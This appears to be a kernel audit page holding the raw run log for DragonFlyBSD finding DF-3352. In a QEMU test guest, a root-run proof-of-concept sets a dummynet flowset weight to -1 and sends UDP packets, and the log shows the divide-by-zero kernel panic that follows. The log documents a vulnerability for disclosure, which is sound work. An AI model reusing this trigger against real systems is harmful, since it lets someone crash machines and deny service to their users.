⬢ DragonFlyBSD Kernel Audit
DF-3352 / run.log
← back to finding ↓ download raw
# verbatim transcript, guest root shell (dfbsd-qemu/vm.sh run_root), stock kernel
/tmp/dfv3 flush; /tmp/dfv3 negweight
[+] flush ok
=== DF-3352: weight=-1 flowset -> pipe->sum==0 -> div0 ===
[+] config pipe ok
[+] config flowset ok
[+] config flowset ok
[+] sent 1 x 1400B udp pkt(s) -> 127.0.0.1:1000
[+] sent 1 x 1400B udp pkt(s) -> 127.0.0.1:1001
[*] waiting for wfq fire (~12ms) -> divide error...
(ssh session dies: kernel panics on next dummynet tick)
# serial console (dfbsd-qemu/vm.sh log):
Fatal trap 18: integer divide fault while in kernel mode
cpuid = 0; lapic id = 0
instruction pointer	= 0x8:0xffffffff8264a441
stack pointer	        = 0x10:0xfffff8008d1f89c0
frame pointer	        = 0x10:0xfffff8008d1f8a20
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= Idle
kernel: type 18 trap, code=0
CPU0 stopping CPUs: 0x0000003e
Stopped at      ready_event_wfq+0xd1:   divq    %rcx,%eax
db>